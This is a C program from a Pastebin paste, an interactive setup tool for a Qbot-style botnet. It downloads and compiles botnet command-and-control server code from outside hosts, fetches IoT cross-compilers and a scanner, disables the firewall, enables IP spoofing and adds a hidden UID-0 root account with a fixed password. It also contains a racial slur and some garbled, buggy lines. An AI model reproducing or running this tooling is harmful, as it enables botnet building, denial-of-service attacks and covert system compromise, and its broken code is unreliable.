Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <time.h>
- #define RED "\x1b[31m"
- #define GREEN "\x1b[32m"
- #define RESET "\x1b[0m"
- void calculator() {
- int hax;
- float results, addition1, addition2, times1, times2, sub1, sub2, div1, div2;
- system("clear");
- printf(RED "1. Addition\n2. Subtraction\n3. Multiplication\n4. Division\n" RESET "\n");
- printf("Enter Choice: ");
- scanf("%d", &hax);
- if (hax == 1)
- {
- printf("You Have Entered Addition!\n\n");
- printf("Enter Number set 1 > ");
- scanf("%f", &addition1);
- printf("Enter Number set 2 > ");
- scanf("%f", &addition2);
- results = addition1 + addition2;
- printf(GREEN "%.2f + %.2f = %.2f\n", addition1, addition2, results);
- }
- else if (hax == 2)
- {
- printf("You Have Entered Subtraction!\n\n");
- printf("Enter Number set 1 > ");
- scanf("%f", &sub1);
- printf("Enter Number set 2 > ");
- scanf("%f", &sub2);
- results = sub1 - sub2;
- printf(GREEN "%.2f - %.2f = %.2f\n", sub1, sub2, results);
- }
- else if (hax == 3)
- {
- printf("You Have Entered Multiplication!\n\n");
- printf("Enter Number set 1 > ");
- scanf("%f", ×1);
- printf("Enter Number set 2 > ");
- scanf("%f", ×2);
- results = times1 * times2;
- printf(GREEN "%.2f - %.2f = %.2f\n", times1, times2, results);
- }
- else if (hax == 4)
- {
- printf("You Have Entered Division!\n\n");
- printf("Enter Number set 1 > ");
- scanf("%f", &div1);
- printf("Enter Number set 2 > ");
- scanf("%f", &div2);
- results = div1 / div2;
- printf(GREEN "%.2f - %.2f = %.2f\n", div1, div2, results);
- }
- else{
- printf("Error!\n");
- }
- return;
- }
- void installs() {
- int Choice;
- printf(RED "1.) Debian\n2.) Centos "RESET"\n");
- printf("Enter Choice: ");
- scanf("%d", &Choice);
- if (Choice == 1)
- {
- printf("Debian\n");
- system("apt-get update -y");
- system("apt-get upgrade -y");
- system("apt-get install epel-release");
- system("apt-get install gcc -y");
- system("apt-get install nmap -y");
- system("apt-get install nc -y");
- system("apt-get install tftp-hpa -y");
- system("apt-get install xinetd -y");
- system("apt-get install apache2 -y");
- system("service httpd start");
- system("service xinetd start");
- system("service tftpd-hpa start");
- system("iptables -F");
- system("chkconfig iptables off");
- }
- else if (Choice == 2)
- {
- /* code */
- printf("Centos\n");
- system("yum update -y");
- system("yum upgrade -y");
- system("yum install epel-release");
- system("yum install gcc -y");
- system("yum install nmap -y");
- system("yum install nc -y");
- system("yum install tftp-server -y");
- system("yum install xinetd -y");
- system("yum install httpd -y");
- system("service httpd start");
- system("service xinetd start");
- system("service iptables stop");
- system("iptables -F");
- system("chkconfig iptables off");
- }
- else if (Choice >= 3)
- {
- /* code */
- printf("Pick a Choice 1-2\n");
- }
- else {
- printf("Error!\n");
- }
- }
- void archs() {
- printf(RED "Downloading archs "RESET"\n");
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2");
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2");
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2");
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2");
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2");
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2");
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2");
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2");
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2");
- system("wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2");
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2");
- system("wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-x86_64.tar.bz2");
- printf(GREEN "Done Downloading Archs "RESET"\n");
- system("tar -jxf *tar.bz2");
- system("rm -rf *tar.bz2");
- }
- void cnc() {
- int Choice, portC, botport;
- char user[256], pass[256];
- char hackz[256];
- printf("What Server side do you wish to Use?\n1.) Purge\n2.) Hacker\n3.) New server side (Logs IPS)\n");
- printf("Enter Choice: ");
- scanf("%d", &Choice);
- if (Choice == 1)
- {
- system("apt-get install gcc nano screen -y || yum install gcc nano screen -y");
- system("wget http://mrexploit.pro/Archive/Qbot/Server-side/purge.c -O kek.c && gcc kek.c -o kekserver -pthread && rm -rf kek.c");
- printf("Purge\n\n");
- printf("Enter Desitnated Botport: ");
- scanf("%d", &botport);
- printf("Enter Admin port: ");
- scanf("%d", &portC);
- printf("Enter username: ");
- scanf("%s", user);
- printf("Enter password: ");
- scanf("%s", pass);
- sprintf(hackz, "echo %s %s >> login.txt", user, pass);
- system(hackz);
- sprintf(hackz, "screen -dmS nigger ./kekserver %d 100 %d", botport, portC);
- system(hackz);
- printf("botnet started On Port: %d\n", portC);
- printf("Username: %s\nPassword: %s\n", user, pass);
- }
- else if (Choice == 2)
- {
- /* code */
- system("apt-get install gcc nano screen -y || yum install gcc nano screen -y");
- system("wget https://pastebin.com/raw/fXaMFiSP -O kek.c && gcc kek.c -o kekserver -pthread && rm -rf kek.c");
- printf("Hacker\n");
- printf("Enter Desitnated Botport: ");
- scanf("%d", &botport);
- printf("Enter Admin port: ");
- scanf("%d", &portC);
- printf("Enter username: ");
- scanf("%s", user);
- printf("Enter password: ");
- scanf("%s", pass);
- sprintf(hackz, "echo %s %s >> login.txt", user, pass);
- system(hackz);
- sprintf(hackz, "screen -dmS lel ./kekserver %d 100 %d", botport, portC);
- system(hackz);
- printf("botnet started On Port: %d\n", portC);
- printf("Username: %s\nPassword: %s\n", user, pass);
- }
- else if (Choice == 3)
- {
- system("apt-get install gcc nano screen -y || yum install gcc nano screen -y");
- system("wget https://pastebin.com/raw/ipGgTegF -O kek.c && gcc kek.c -o kekserver -pthread && rm -rf kek.c");
- printf("server side that logs ips\n");
- printf("Enter Desitnated Botport: ");
- scanf("%d", &botport);
- printf("Enter Admin port: ");
- scanf("%d", &portC);
- printf("Enter username: ");
- scanf("%s", user);
- printf("Enter password: ");
- scanf("%s", pass);
- sprintf(hackz, "echo %s %s >> login.txt", user, pass);
- system(hackz);
- sprintf(hackz, "screen -dmS kek ./kekserver %d 100 %d", botport, portC);
- system(hackz);
- printf("botnet started On Port: %d\n", portC);
- printf("Username: %s\nPassword: %s\n", user, pass);
- }
- else {
- printf("Error!\n");
- }
- }
- void download_scan()
- { int kek;
- printf("1.) Download LRAB\n");
- printf("Enter Choice: ");
- scanf("%d", &kek);
- if (kek == 1)
- {
- /* code */
- printf("Downloading LRAB\n");
- system("http://mrexploit.pro/Archive/Scanners/MyLRAB.zip");
- system("yum || apt-get install unzip -y");
- system("unzip MyLRAB.zip");
- system("chmod 777 MyLRAB/*");
- }
- }
- void FixMe()
- {
- printf(RED "Fixing your net!\n" RESET);
- system("iptables -F");
- system("chkconfig iptables off");
- system("service iptables stop");
- system("sed -i 's/9999/99999/g' /usr/include/bits/typesizes.h");
- system("ulimit -n 99999 && ulimit -s 99999");
- }
- void Spoof_Me()
- {
- system("yum install cpan -y || apt-get install cpan -y");
- system("yum install gcc -y || apt-get install gcc -y");
- system("yum install perl -y || apt-get install perl -y");
- system("yum install libpcap-devel -y || apt-get install libpcap-dev -y");
- system("yum install make -y || apt-get install make -y");
- system("cpan install Net::RawIP");
- }
- void addarootuser()
- { char kek[20], kek2[20];
- printf("Enter the username and password for your root user when prompt\n\n");
- printf("Enter username: ");
- scanf("%s", kek);
- char kekmes[512], kekmes2[256];
- sprintf(kekmes, "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash %s", kek);
- system(kekmes);
- sprintf(kekmes2, "echo -e 'changeme123\nchangeme123' | passwd %s", kek);
- system(kekmes2);
- printf(GREEN "User has been added!\nUsername: %s\nPassword: changeme123 \n", kek);
- }
- int main(int argc, char const *argv[])
- {
- int cool;
- system("clear");
- printf(GREEN "1.) Calculator\n2.) Dependencies\n3.) Download Architectures\n4.) Server side setup \n5.) Download Scanner of your choice \n6.) Net Help (centos) \n7.) Enable spoofing \n8.) Add a root user"RESET"\n");
- printf("Enter Choice: ");
- scanf("%d", &cool);
- if (cool == 1)
- {
- /* code */
- printf(RED "Calculator\n");
- calculator();
- }
- else if (cool == 2)
- {
- /* code */
- printf(RED "Installs\n");
- installs();
- }
- else if (cool == 3)
- {
- printf("Cool!\n");
- archs();
- }
- else if (cool == 4)
- {
- /* code */
- printf(RED "Setting Up the server side\n");
- cnc();
- }
- else if (cool == 5)
- {
- /* code */
- printf(RED "Downloading Scanner of your choice\n");
- download_scan();
- }
- else if (cool == 6)
- {
- /* code */
- FixMe();
- }
- else if (cool == 7)
- {
- /* code */
- Spoof_Me();
- }
- else if (cool == 8)
- {
- /* code */
- addarootuser();
- }
- else if (cool >= 9)
- {
- /* code */
- printf(RED "Pick a Choice 1-6\n");
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement